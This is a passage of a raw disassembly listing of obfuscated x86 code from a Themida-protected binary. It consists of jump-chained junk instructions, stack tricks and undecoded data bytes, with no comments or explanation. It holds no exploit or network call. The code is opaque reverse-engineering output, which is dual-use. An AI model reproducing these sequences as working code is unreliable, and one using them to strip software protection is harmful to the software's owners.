; --------------------------------------------------------------------------- word_56635A dw 8B66h ; DATA XREF: Themida_:00556284o dd 6368240Ch, 8900006Ah, 0B4E9243Ch db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56636B: ; CODE XREF: Themida_:0056D25Dj jmp loc_56BE44 ; --------------------------------------------------------------------------- loc_566370: ; CODE XREF: Themida_:loc_55AB2Aj add bl, 0C0h mov ch, bl pop ebx mov ah, ch jmp loc_5692B8 ; --------------------------------------------------------------------------- loc_56637D: ; CODE XREF: Themida_:005611F6j xchg ecx, [esp] pop esp or ch, 0E0h sub ch, 1 jmp loc_560058 ; --------------------------------------------------------------------------- loc_56638C: ; CODE XREF: Themida_:0056CBDFj add ebx, ebp mov ebp, [esp] jmp loc_560F51 ; --------------------------------------------------------------------------- loc_566396: ; CODE XREF: Themida_:005576CFj push ebx mov ebx, 34585376h jmp loc_55AB44 ; --------------------------------------------------------------------------- db 4Bh, 0E9h, 9Bh db 2Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5663A7: ; CODE XREF: Themida_:005598D4j mov [esp], edi mov edi, 28237635h jmp loc_566685 ; --------------------------------------------------------------------------- dd 859EE95Dh, 3C89FFFFh, 2E9FBF24h, 0B9515388h, 7E52D3Bh dd 0F704E1C1h, 0E9D9F7D9h, 0FFFF99CEh, 4BDh, 246C0100h dd 0FFD2E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5663E2: ; CODE XREF: Themida_:005699ECj xchg edx, [esp] pop esp mov [esp], cx mov ch, 65h add ch, 4Ch sub al, ch pop cx add al, 0B6h sub esp, 4 mov [esp], ebx push edx mov dh, 40h mov bh, dh pop edx shl bh, 3 shr bh, 2 push edx jmp loc_55F5A9 ; --------------------------------------------------------------------------- loc_566410: ; CODE XREF: Themida_:0055D99Aj pop edx mov ebp, [esp] add esp, 4 jmp loc_55DA2D ; --------------------------------------------------------------------------- db 1 dd 34FF5DE9h, 0C4835F24h, 83F98704h, 0F987FFEFh, 7664BA52h dd 0D1316D8Fh, 5A2434FFh, 4C481h, 0C8010000h, 5D256859h dd 6BE90000h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_56644F: ; CODE XREF: Themida_:00557BE7j push 7524h mov [esp], eax mov eax, esp push 4B1Eh mov [esp], edi jmp loc_55C330 ; --------------------------------------------------------------------------- loc_566466: ; CODE XREF: Themida_:0056455Dj mov edx, 4 jmp loc_56CDF6 ; --------------------------------------------------------------------------- loc_566470: ; CODE XREF: Themida_:00564C99j add edx, 29FA5A1Ah sub ecx, 364348EBh add ecx, edx add ecx, 364348EBh mov edx, [esp] add esp, 4 pop edi add ecx, 4 jmp loc_55D3FD ; --------------------------------------------------------------------------- loc_566496: ; CODE XREF: Themida_:00561516j mov [esp], eax push esp pop eax add eax, 4 jmp loc_5645C8 ; --------------------------------------------------------------------------- loc_5664A5: ; CODE XREF: Themida_:005589D3j mov eax, 85A5C14Dh add esi, eax pop eax sub edi, esi mov esi, [esp] add esp, 4 mov ecx, [esp] add esp, 4 push 452Fh mov [esp], edi push dword ptr [esp+4] jmp loc_558CA8 ; --------------------------------------------------------------------------- byte_5664CF db 0FFh ; DATA XREF: Themida_:00556140o dd 589D1C77h, 9C240419h, 0FEFE0AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5664DD: ; CODE XREF: Themida_:00564C11j sub ebx, 0E365AE93h mov edx, ebx mov ebx, [esp] add esp, 4 dec edx add edx, 1C697249h push eax mov eax, 0 sub eax, edx jmp loc_56A81C ; --------------------------------------------------------------------------- word_566502 dw 1CF6h ; DATA XREF: Themida_:00556260o dd 0DCE99C24h, 81FFFEFDh, 1D4A22C3h, 48153FFh, 81B9C24h dd 0BBE95E6Eh db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_56651F: ; CODE XREF: Themida_:0055C724j mov eax, 1Ch push ecx mov ecx, 44423946h push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_566897 ; --------------------------------------------------------------------------- loc_566541: ; CODE XREF: Themida_:00566BC6j mov edi, 721B1D05h neg edi push ebx mov ebx, 0C340BB5h jmp loc_56180E ; --------------------------------------------------------------------------- db 68h dd 1D4Ch, 56240C89h, 0AE24B268h, 8D6BE91Bh, 0F901FFFFh dd 8B2434FFh, 0C483243Ch, 0E6895604h, 4C681h, 8EE90000h dd 5B000035h, 4B951h, 0EF810000h, 1B454338h, 0FF793FE9h db 0FFh ; --------------------------------------------------------------------------- loc_566591: ; CODE XREF: Themida_:0055C7C0j sub ch, dh sub ch, 0F4h mov dx, [esp] jmp loc_55C0C0 ; --------------------------------------------------------------------------- loc_56659F: ; CODE XREF: Themida_:0055B84Aj add eax, 0C310027h mov edi, [esp] add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp sub esp, 4 jmp loc_55D34C ; --------------------------------------------------------------------------- loc_5665BF: ; CODE XREF: Themida_:00557FC5j jns loc_565F40 inc ebp jl loc_56AD8A or ebp, 4BC17662h jp loc_556FAB pop ebp loc_5665D9: ; CODE XREF: Themida_:0055E5E5j mov esp, [esp] mov [esp], ebp jmp loc_56B210 ; --------------------------------------------------------------------------- loc_5665E4: ; CODE XREF: Themida_:0055D717j mov ebx, 4 sub edx, ebx pop ebx xchg edx, [esp] jmp loc_55EC01 ; --------------------------------------------------------------------------- dd 5724048Fh, 0FFAA17E9h, 14C681FFh, 810A6846h, 0FE5002E6h dd 810F460Ch, 51CEh, 830FDEF7h, 0FFFF778Fh db 53h, 8Ah, 0E7h ; --------------------------------------------------------------------------- loc_56661B: ; CODE XREF: Themida_:005609ECj sub bl, 74h sub esp, 4 mov [esp], eax mov al, 28h jmp loc_55D458 ; --------------------------------------------------------------------------- loc_56662E: ; CODE XREF: Themida_:00559ED8j xchg eax, [esp] pop esp jmp loc_55A88A ; --------------------------------------------------------------------------- loc_566637: ; CODE XREF: Themida_:00563B5Bj mov esi, 4 sub ebx, esi pop esi push ebx push dword ptr [esp+4] push dword ptr [esp] pop ebx add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_55FFA6 ; --------------------------------------------------------------------------- loc_566659: ; CODE XREF: Themida_:005670CEj pop edx add esp, 4 mov ebp, ecx push dword ptr [esp] pop ecx jmp loc_56C880 ; --------------------------------------------------------------------------- dd 54243C89h, 5F2434FFh, 51C6E9h db 0 ; --------------------------------------------------------------------------- loc_566675: ; CODE XREF: Themida_:00566051j add ebx, esi pop esi pop edi jmp loc_5564CC ; --------------------------------------------------------------------------- loc_56667E: ; CODE XREF: Themida_:0055F8F1j or eax, eax jmp loc_5622C8 ; --------------------------------------------------------------------------- loc_566685: ; CODE XREF: Themida_:005663AFj add edx, edi pop edi sub esp, 4 mov [esp], edi mov edi, 6AA04849h sub edi, 68437DC3h jmp loc_56BB6E ; --------------------------------------------------------------------------- loc_5666A1: ; CODE XREF: Themida_:0056B552j and eax, 10FB0FF1h dec eax jmp loc_5590F8 ; --------------------------------------------------------------------------- loc_5666AC: ; CODE XREF: Themida_:0055F3FCj xor edx, 40F6BC95h jmp loc_56CFD9 ; --------------------------------------------------------------------------- loc_5666B7: ; CODE XREF: Themida_:loc_562AE0j ; Themida_:005637B0j inc ebp jo loc_559362 push ebx push esi mov esi, 294460C8h mov ebx, esi pop esi jmp loc_5677F6 ; --------------------------------------------------------------------------- loc_5666CD: ; CODE XREF: Themida_:0055B755j sub edx, 4 sub esp, 4 jmp loc_55964D ; --------------------------------------------------------------------------- loc_5666D8: ; CODE XREF: Themida_:0056474Dj sub bl, ch pop ecx mov cl, bl pop ebx add al, 31h push ebx mov ebx, esp add ebx, 4 jmp loc_56C36B ; --------------------------------------------------------------------------- loc_5666EE: ; CODE XREF: Themida_:0055D5CDj sub ecx, esi pop esi pop edx and eax, ecx mov ecx, [esp] push ebx push esp push dword ptr [esp] pop ebx jmp loc_5586EA ; --------------------------------------------------------------------------- loc_566702: ; CODE XREF: Themida_:00565AF3j add ecx, ebx pop ebx sub ecx, 4 xchg ecx, [esp] jmp loc_55F0D0 ; --------------------------------------------------------------------------- db 0B4h dd 80DCF614h, 0E628EDECh, 7BD1E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566722: ; CODE XREF: Themida_:005675C3j push dword ptr [esp+4] jmp loc_55EB84 ; --------------------------------------------------------------------------- loc_56672B: ; CODE XREF: Themida_:0056BE71j push dword ptr [esp] pop ecx add esp, 4 sub edx, 1 and edx, 78F20FE2h jmp loc_558716 ; --------------------------------------------------------------------------- loc_566746: ; CODE XREF: Themida_:00562583j xor ebp, 2FBEFDBCh and eax, ebp jmp loc_55C748 ; --------------------------------------------------------------------------- loc_566753: ; CODE XREF: Themida_:0055D27Fj add eax, edx add eax, 3F88578Bh jmp loc_55E333 ; --------------------------------------------------------------------------- db 25h dd 3C2A469Fh, 0AD4E922Dh, 0F28F0F72h, 5FFFF12h, 447E0DA2h dd 43AABD55h, 0ED816ABFh, 0FA8A42F0h, 55DE801h, 749C7FDCh dd 55235C05h, 58670532h, 0C301EAE6h, 8324048Bh, 0EC8104C4h dd 4, 0B9240C89h, 0A73E59h, 8E9C141h, 0CD3C981h, 0E1816EC4h dd 6A6F354Dh, 0DAB7C181h, 0EB8195BBh, 36F63497h, 0BD55CB01h dd 36F63497h, 595DEB01h, 1E7EE9h, 4EC8100h, 89000000h dd 4BB241Ch, 0E9000000h, 0FFFFD603h ; --------------------------------------------------------------------------- loc_5667E8: ; CODE XREF: Themida_:00563436j not esi shr esi, 4 jmp loc_55CE08 ; --------------------------------------------------------------------------- dw 0F47h dd 0FF1A558Eh, 4E7C1FFh, 5D33C781h, 0A6E9481Ch db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566807: ; CODE XREF: Themida_:0055B515j sub ebx, 640F6461h mov edx, [esp] add esp, 4 push 305Dh mov [esp], ebx push dword ptr [esp+4] jmp loc_55BC59 ; --------------------------------------------------------------------------- loc_566824: ; CODE XREF: Themida_:005673FAj pop edx add edx, 4 jmp loc_556B6D ; --------------------------------------------------------------------------- loc_566830: ; CODE XREF: Themida_:00560559j xor eax, 7B5E1839h push eax not dword ptr [esp] mov eax, [esp] add esp, 4 inc eax push 0 sub [esp], eax pop eax shl eax, 6 add eax, 62103D4Eh jmp loc_562E4E ; --------------------------------------------------------------------------- db 43h, 81h, 0EBh dd 97FB8ED3h, 16586C05h, 6BFBE94Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56686A: ; CODE XREF: Themida_:0055B27Aj add esp, 4 jmp loc_56BE2D ; --------------------------------------------------------------------------- loc_566875: ; CODE XREF: Themida_:0055E2EEj shl edx, 4 jmp loc_56A57F ; --------------------------------------------------------------------------- loc_56687D: ; CODE XREF: Themida_:00567BC0j mov eax, [esp] add esp, 4 jmp loc_559108 ; --------------------------------------------------------------------------- dd 8B24048Fh, 1C892424h, 8FE95424h db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566897: ; CODE XREF: Themida_:0056653Cj pop esp mov [esp], esi mov esi, 41405BD4h shl esi, 8 neg esi dec esi xor esi, 98604C0h jmp loc_55F784 ; --------------------------------------------------------------------------- loc_5668B1: ; CODE XREF: Themida_:00567F1Fj sub eax, 292D052Bh or ebp, eax push dword ptr [esp] mov eax, [esp] jmp loc_55CB30 ; --------------------------------------------------------------------------- loc_5668C3: ; CODE XREF: Themida_:00558094j ; Themida_:00568557j push edx xchg edi, [esp] not edi xchg edi, [esp] jmp loc_55894B ; --------------------------------------------------------------------------- loc_5668D1: ; CODE XREF: Themida_:0055EF88j push 3E794905h pop edx xor edx, 700D234Fh jmp loc_567F7C ; --------------------------------------------------------------------------- loc_5668E2: ; CODE XREF: Themida_:0055799Bj add dh, 13h push ecx mov ch, 42h shl ch, 8 shl ch, 7 neg ch xor ch, 1 add dh, ch jmp loc_561107 ; --------------------------------------------------------------------------- loc_5668FA: ; CODE XREF: Themida_:00564B6Dj mov esp, [esp] jmp loc_55D687 ; --------------------------------------------------------------------------- loc_566902: ; CODE XREF: Themida_:00569531j mov [esp], eax jmp loc_5696F1 ; --------------------------------------------------------------------------- dw 0FFE9h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_56690F: ; CODE XREF: Themida_:0056BF40j add edx, ebx jmp loc_56BD7D ; --------------------------------------------------------------------------- loc_566916: ; CODE XREF: Themida_:0055C509j push 7C2Fh jmp loc_557133 ; --------------------------------------------------------------------------- loc_566920: ; CODE XREF: Themida_:005580B2j mov edx, esp add edx, 4 add edx, 4 jmp loc_565A12 ; --------------------------------------------------------------------------- loc_566933: ; CODE XREF: Themida_:005641A0j sub bl, ah jmp loc_55D810 ; --------------------------------------------------------------------------- loc_56693A: ; CODE XREF: Themida_:0055F201j xchg edx, [esp] pop esp add eax, 2 jmp loc_564470 ; --------------------------------------------------------------------------- loc_566946: ; CODE XREF: Themida_:0055C3D8j push 10D3h mov [esp], ebx push esi mov esi, 2 push esi xor dword ptr [esp], 41A636B8h pop ebx jmp loc_56A9E8 ; --------------------------------------------------------------------------- loc_566962: ; CODE XREF: Themida_:00562BF5j add edi, 0F3B79C83h mov esi, edi pop edi jmp loc_5634E7 ; --------------------------------------------------------------------------- loc_566970: ; CODE XREF: Themida_:00569700j add ebx, edx add ebx, 260850A8h push dword ptr [ebx] push ebp mov ebp, 65487101h xor [esp+4], ebp mov ebp, [esp] push ecx jmp loc_56807B ; --------------------------------------------------------------------------- loc_56698D: ; CODE XREF: Themida_:005588EAj add eax, esi mov esi, [esp] jmp loc_5699FE ; --------------------------------------------------------------------------- loc_566997: ; CODE XREF: Themida_:0055DAB9j mov esi, 75377931h shr esi, 4 push edi mov edi, 19947A9Eh jmp loc_569940 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 8B243C87h, 48F2424h, 0FF575C24h, 0E9042474h, 2766h ; --------------------------------------------------------------------------- loc_5669C4: ; CODE XREF: Themida_:005674A2j push esi jmp loc_563D37 ; --------------------------------------------------------------------------- loc_5669CA: ; CODE XREF: Themida_:0056553Cj sub ecx, ebx mov ebx, [esp] add esp, 4 shl ecx, 3 push eax mov eax, 82988E0Ch add ecx, eax pop eax jmp loc_568285 ; --------------------------------------------------------------------------- db 80h dd 686601EEh, 51660000h, 4480D6B1h, 590224h, 8002244Ch dd 5902246Ch, 0FFC5A6E9h db 0FFh ; --------------------------------------------------------------------------- loc_566A01: ; CODE XREF: Themida_:00558537j push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] bswap eax sub esp, 4 mov [esp], eax push 4CFh push esp pop dword ptr [esp] add dword ptr [esp], 4 mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp add eax, 4 sub esp, 4 mov [esp], ecx jmp loc_56987C ; --------------------------------------------------------------------------- loc_566A45: ; CODE XREF: Themida_:0055C7DAj push dword ptr [esp] pop eax add esp, 4 xor ebx, edi mov edi, [esp] push 5953h mov [esp], ebx push esp mov ebx, [esp] jmp loc_5635EB ; --------------------------------------------------------------------------- loc_566A62: ; CODE XREF: Themida_:00566A6Cj add cl, 0CFh jmp loc_56100D ; --------------------------------------------------------------------------- loc_566A6A: ; CODE XREF: Themida_:00564C09j not cl jmp loc_566A62 ; --------------------------------------------------------------------------- loc_566A71: ; CODE XREF: Themida_:0055C82Dj ; Themida_:00568736j add esp, 4 add esp, 4 pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] jmp loc_558695 ; --------------------------------------------------------------------------- loc_566A88: ; CODE XREF: Themida_:00561B36j add dword ptr [esp], 4 jmp loc_56926A ; --------------------------------------------------------------------------- loc_566A94: ; CODE XREF: Themida_:loc_557B7Dj ; Themida_:0055882Cj add esi, edx mov edx, [esp] jmp loc_55D5D2 ; --------------------------------------------------------------------------- loc_566A9E: ; CODE XREF: Themida_:00565D21j pop eax pop ebx pop eax sub dh, 0B5h push ecx mov ch, dh jmp loc_568FCD ; --------------------------------------------------------------------------- loc_566AAC: ; CODE XREF: Themida_:005629F0j sub eax, ecx jmp loc_56B760 ; --------------------------------------------------------------------------- loc_566AB3: ; CODE XREF: Themida_:005696D2j sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], ebx mov ebx, 50B679CAh push edi push 2BF50B19h pop edi push eax mov eax, 19711308h sub eax, 31E65868h neg eax not eax push ecx mov ecx, 5E4055CFh add eax, ecx jmp loc_55E038 ; --------------------------------------------------------------------------- byte_566AED db 66h, 8Bh, 4 ; DATA XREF: Themida_:00556024o dd 182E924h, 0B151FFFFh, 0FEC9FEB3h, 0E3F180C1h, 0FFD78AE9h db 0FFh ; --------------------------------------------------------------------------- loc_566B05: ; CODE XREF: Themida_:00556F82j mov [esp], esi push esp mov esi, [esp] push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_55F643 ; --------------------------------------------------------------------------- loc_566B33: ; CODE XREF: Themida_:0056331Dj ; Themida_:0056BE4Dj push eax push esi mov esi, 55F95166h jmp loc_55F969 ; --------------------------------------------------------------------------- loc_566B3F: ; CODE XREF: Themida_:0055B485j add esp, 4 add ebx, edx pop edx add ebx, 4 xchg ebx, [esp] pop esp push edx push ebp mov ebp, 6A7B64F8h push esi mov esi, 64106AE9h add esi, 0A730ECB2h jmp loc_560DEA ; --------------------------------------------------------------------------- loc_566B67: ; CODE XREF: Themida_:0055A2D4j push ebx mov ebx, 8DE02A2h and ebp, ebx pop ebx add ebp, 78EF7A2Bh xor ebp, 79377AC9h push edx mov edx, 6B87BD0h sub edi, edx push dword ptr [esp] pop edx add esp, 4 jmp loc_556C2A ; --------------------------------------------------------------------------- db 5Ah dd 665EF301h, 0E900B60Fh, 6B27h ; --------------------------------------------------------------------------- loc_566BA0: ; CODE XREF: Themida_:005577DBj pop ebx jmp loc_5594C8 ; --------------------------------------------------------------------------- loc_566BA6: ; CODE XREF: Themida_:0055793Aj pop esp mov [esp], esi jmp loc_56ADE7 ; --------------------------------------------------------------------------- db 5Ch dd 0E9241C87h, 0FFFFF4E5h ; --------------------------------------------------------------------------- loc_566BB8: ; CODE XREF: Themida_:0056C47Cj add edx, 23C23671h push 372Fh mov [esp], edi jmp loc_566541 ; --------------------------------------------------------------------------- loc_566BCB: ; CODE XREF: Themida_:005655CFj push ebp jmp loc_56AEAD ; --------------------------------------------------------------------------- loc_566BD1: ; CODE XREF: Themida_:0055FD74j mov edi, [esp] push ebp mov ebp, esp jmp loc_56949E ; --------------------------------------------------------------------------- loc_566BDC: ; CODE XREF: Themida_:0056A5D3j push esp pop edi add edi, 4 push edx mov edx, 7FC62AA6h jmp loc_55E627 ; --------------------------------------------------------------------------- loc_566BEF: ; CODE XREF: Themida_:0055E6BBj sub esp, 4 mov [esp], esi push esp pop esi push eax mov eax, 5DE55B06h add eax, 0A21AA4FEh jmp loc_56798E ; --------------------------------------------------------------------------- dw 8B66h dd 54552404h, 4A83E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566C16: ; CODE XREF: Themida_:loc_55B1BDj not bh xchg al, bh inc al xor bh, al xor al, bh xor bh, al push edx mov dl, 0A9h push 5CEFh mov [esp], ebx mov bl, 24h inc bl xor bl, 0BCh sub dl, bl pop ebx jmp loc_55AE70 ; --------------------------------------------------------------------------- loc_566C3C: ; CODE XREF: Themida_:0056058Ej mov bh, 0ECh mov cl, bh jmp loc_5623BA ; --------------------------------------------------------------------------- loc_566C45: ; CODE XREF: Themida_:005568C4j dec edx dec edx xor edx, 51C6549Ah sub edi, 8733AB7h jmp loc_5675AE ; --------------------------------------------------------------------------- dd 94316CB9h, 4EC6814Fh, 2955B06Bh, 7DBFE9CEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566C6A: ; CODE XREF: Themida_:00561E47j push eax add dword ptr [esp], 3A646DEh pop edx push eax push edi mov edi, 12AC644Eh mov eax, 7C8B5ADFh jmp loc_563A56 ; --------------------------------------------------------------------------- dd 982B951h, 5156788Ah, 0FF9635E9h db 0FFh ; --------------------------------------------------------------------------- loc_566C91: ; CODE XREF: Themida_:00562CF7j add edx, esi pop esi add edx, 29B83837h jmp loc_55C08C ; --------------------------------------------------------------------------- loc_566C9F: ; CODE XREF: Themida_:00558C54j xor eax, edi not edi sub esp, 4 mov [esp], eax jmp loc_561398 ; --------------------------------------------------------------------------- loc_566CB1: ; CODE XREF: Themida_:0056A2D0j not dword ptr [esp] pop ecx add ecx, 8748EF05h add ebx, ecx pop ecx add ebx, 5A295501h add ebx, edi sub ebx, 5A295501h sub ebx, 6DD47D1Bh push eax mov eax, 0 sub eax, 2D1D1164h jmp loc_55E397 ; --------------------------------------------------------------------------- loc_566CE2: ; CODE XREF: Themida_:0055AE98j jno loc_56937D inc ecx jnp loc_563CED mov ebp, ebp pop esp loc_566CF2: ; CODE XREF: Themida_:0055BFE9j add edx, 5A293B81h add edx, edi jmp loc_569B58 ; --------------------------------------------------------------------------- db 81h dd 0DC5A4EC6h, 0E5C68173h, 1246D1Fh, 0E5EE81FEh, 81246D1Fh dd 0DC5A4EEEh, 7A6F6873h, 1C890000h, 6EC9BB24h, 0DBF71852h dd 1870800Fh, 0E3C10000h, 59880F07h, 8100003Dh, 425C6DF3h dd 46ECE92Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566D42: ; CODE XREF: Themida_:0055EC1Bj add ebp, 748114A3h add ebp, edi push eax push edx push 72368E8h pop edx shr edx, 2 jmp loc_56B769 ; --------------------------------------------------------------------------- loc_566D5A: ; CODE XREF: Themida_:0055A7DCj add esp, 4 sub al, 92h sub al, ch add al, 92h mov ecx, [esp] add esp, 4 sub al, bl jmp loc_5643A8 ; --------------------------------------------------------------------------- loc_566D73: ; CODE XREF: Themida_:00557098j add al, 0BEh neg al sub al, 31h sub bl, al mov eax, [esp] add esp, 4 xor al, bl pop ebx push edx push 0C8h jmp loc_56B2DE ; --------------------------------------------------------------------------- loc_566D92: ; CODE XREF: Themida_:0055FD11j mov edi, eax pop eax or edi, 226B3ADDh add edi, 0DD1FAB14h jmp loc_55BE2F ; --------------------------------------------------------------------------- loc_566DA6: ; CODE XREF: Themida_:00560DBCj xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_566DB4: ; CODE XREF: Themida_:0056A4AEj mov ebp, [esp] add esp, 4 mov edx, 8D25F6A2h add edx, 7AF16326h add edx, eax sub edx, 7AF16326h jmp loc_56434D ; --------------------------------------------------------------------------- loc_566DD5: ; CODE XREF: Themida_:0055FA1Dj mov ebp, 4F46BD1h jmp loc_56228F ; --------------------------------------------------------------------------- loc_566DDF: ; CODE XREF: Themida_:005690F4j shl esi, 2 add esi, 7AB7D2E4h sub ecx, 4B901B1Fh add ecx, 46D54F85h sub ecx, 20AB0AA4h jmp loc_5698E0 ; --------------------------------------------------------------------------- loc_566DFF: ; CODE XREF: Themida_:00563872j not esi inc esi xor esi, 0E2041F9Bh jmp loc_55FAFC ; --------------------------------------------------------------------------- loc_566E0D: ; CODE XREF: Themida_:0055BF11j sub eax, esi mov esi, [esp] add esp, 4 jmp loc_55B07D ; --------------------------------------------------------------------------- dw 0C668h dd 0FF4F4923h, 88E92434h, 89000029h, 0BB532404h, 994064Bh dd 252CE5B8h, 8BD8311Fh, 0C483241Ch, 553FE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_566E42: ; CODE XREF: Themida_:005619F1j add edi, 92C68F1Dh sub edx, edi pop edi xor eax, edx pop edx push 447Bh mov [esp], ebp jmp loc_559DC7 ; --------------------------------------------------------------------------- loc_566E5B: ; CODE XREF: Themida_:0055DC8Cj push 41D0h mov [esp], eax mov eax, ecx push eax jmp loc_55C4FD ; --------------------------------------------------------------------------- loc_566E6B: ; CODE XREF: Themida_:0055F93Dj xor esi, 6E082145h add esi, 5D753B4h jmp loc_5642AC ; --------------------------------------------------------------------------- loc_566E7C: ; CODE XREF: Themida_:00556C25j movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dw 0E961h dd 0FFFF0DA7h ; --------------------------------------------------------------------------- loc_566E88: ; CODE XREF: Themida_:00561D88j shl esi, 7 dec esi jmp loc_55DCFE ; --------------------------------------------------------------------------- loc_566E91: ; CODE XREF: Themida_:0055F5C2j pop esp push small 59D2h mov [esp], ax push edx jmp loc_561C7E ; --------------------------------------------------------------------------- dd 0F641B652h, 80C6FEDEh, 0E953B8C6h, 1041h ; --------------------------------------------------------------------------- loc_566EB0: ; CODE XREF: Themida_:0055CB33j add esp, 4 jmp loc_561EE2 ; --------------------------------------------------------------------------- loc_566EBB: ; CODE XREF: Themida_:00569E93j jnz loc_56A32E sub esp, 4 mov [esp], esi push ecx mov ecx, 6A1D6794h push ebp mov ebp, 365D1F10h push esi mov esi, 3BB46162h add esi, 1A494436h sub esi, 0D6816E7Eh or ebp, esi pop esi dec ebp jge loc_55E20C jmp loc_56B6BB ; --------------------------------------------------------------------------- dd 0D8157F2Dh, 9FF08022h, 506616B3h, 0FF68F7E9h db 0FFh ; --------------------------------------------------------------------------- loc_566F05: ; CODE XREF: Themida_:005624E3j pop ebx push ebx mov ebx, 2 sub ebp, ebx pop ebx jmp loc_5580ED ; --------------------------------------------------------------------------- loc_566F14: ; CODE XREF: Themida_:00558D87j push ebx push 514761BEh pop ebx xor ebx, 6BA7BECh jmp loc_5577D9 ; --------------------------------------------------------------------------- loc_566F26: ; CODE XREF: Themida_:0055B5BBj mov ebx, ebp pop ebp jmp loc_560DF9 ; --------------------------------------------------------------------------- dw 0BB53h dd 0D13BBDE5h, 0FFEDC7E9h db 0FFh byte_566F39 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:005560C4o dd 0D359669Dh, 0E99C2414h, 0FFFEF39Fh, 2287F581h, 0E958437Ah dd 6763h ; --------------------------------------------------------------------------- loc_566F54: ; CODE XREF: Themida_:00558A6Fj sub eax, edx pop edx jmp loc_569E2A ; --------------------------------------------------------------------------- loc_566F5C: ; CODE XREF: Themida_:005643B1j add al, dl pop dx push ecx mov cl, 0AEh push 4955h mov [esp], eax mov al, 0F9h jmp loc_56706A ; --------------------------------------------------------------------------- loc_566F72: ; CODE XREF: Themida_:00568B8Aj sub eax, 7C0F1A36h jmp loc_55AAC3 ; --------------------------------------------------------------------------- loc_566F7C: ; CODE XREF: Themida_:0055D337j push ebp mov ebp, 46A21EC0h not ebp shr ebp, 3 push esi mov esi, 30805A95h or ebp, esi pop esi sub ebp, 13A2718Ah jmp loc_55DE53 ; --------------------------------------------------------------------------- loc_566F9B: ; CODE XREF: Themida_:0056352Fj mov edx, 4 jmp loc_559C7D ; --------------------------------------------------------------------------- db 81h, 0EEh, 0CEh dd 0E94E235Ch, 0FFFF7D7Bh ; --------------------------------------------------------------------------- loc_566FB0: ; CODE XREF: Themida_:00558F47j xor ecx, 0B44DCF60h or eax, ecx pop ecx push ebp push edx push ebp jmp loc_566100 ; --------------------------------------------------------------------------- loc_566FC1: ; CODE XREF: Themida_:00559D71j add esp, 4 or ebp, 4D0525Bh js loc_569C86 shl ebp, 7 sub ebp, 0E92DFC82h mov eax, ebp mov ebp, [esp] add esp, 4 and [edi+1Ch], eax push dword ptr [esp] mov eax, [esp] push ecx jmp loc_561488 ; --------------------------------------------------------------------------- loc_566FF6: ; CODE XREF: Themida_:0055EA61j pop eax jmp loc_5643FF ; --------------------------------------------------------------------------- dd 5724248Bh, 0C781E789h, 4, 3304EF83h, 3C31243Ch, 243C3324h dd 8924248Bh, 0CF68243Ch, 0E9000060h, 0FFFFBB1Eh, 0C281E289h dd 4, 0A43BB53h, 0D3F732FEh, 8108EBC1h, 0EB47C8EBh, 0E9D3F738h dd 38E9h, 0D828892Ch, 0DE98904h db 67h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56704F: ; CODE XREF: Themida_:0055E6E8j pop esp mov [esp], edx mov edx, 626393h sub eax, edx jmp loc_568671 ; --------------------------------------------------------------------------- loc_56705F: ; CODE XREF: Themida_:00564DE9j push edi mov edi, 248A0C02h jmp loc_569A5A ; --------------------------------------------------------------------------- loc_56706A: ; CODE XREF: Themida_:00566F6Dj push small 49A1h mov [esp], bx mov bl, 0Ch sub al, bl mov bx, [esp] push ebx mov ebx, esp jmp loc_55BB18 ; --------------------------------------------------------------------------- loc_567082: ; CODE XREF: Themida_:0056C35Aj add edx, ebx push ebp jmp loc_565A99 ; --------------------------------------------------------------------------- loc_56708A: ; CODE XREF: Themida_:0056BA36j ; Themida_:0056C111j xor ecx, [esp] jmp loc_563633 ; --------------------------------------------------------------------------- loc_567092: ; CODE XREF: Themida_:00568763j jmp loc_55B2A9 ; --------------------------------------------------------------------------- loc_567097: ; CODE XREF: Themida_:005644EAj pop ecx xor ebp, 3C31E3F5h add esi, ebp jmp loc_562462 ; --------------------------------------------------------------------------- loc_5670A5: ; CODE XREF: Themida_:0056826Bj mov eax, [esp] add esp, 4 push 4DB0h mov [esp], eax push 2F1Bh push 41F8h push esp pop dword ptr [esp] jmp loc_56D06E ; --------------------------------------------------------------------------- loc_5670C9: ; CODE XREF: Themida_:0056866Cj sub ecx, edx push dword ptr [esp] jmp loc_566659 ; --------------------------------------------------------------------------- loc_5670D3: ; CODE XREF: Themida_:0055C87Ej pop dword ptr [esp] jmp loc_56CF16 ; --------------------------------------------------------------------------- loc_5670DB: ; CODE XREF: Themida_:005688CEj push ebp jmp loc_5684DC ; --------------------------------------------------------------------------- loc_5670E1: ; CODE XREF: Themida_:00564D19j push ecx mov ecx, 7C830724h mov esi, 92281706h add esi, ecx pop ecx or esi, 2A5F7645h sub esi, 663368A6h push ecx mov ecx, 2FE12162h and ecx, 16B31BEEh xor 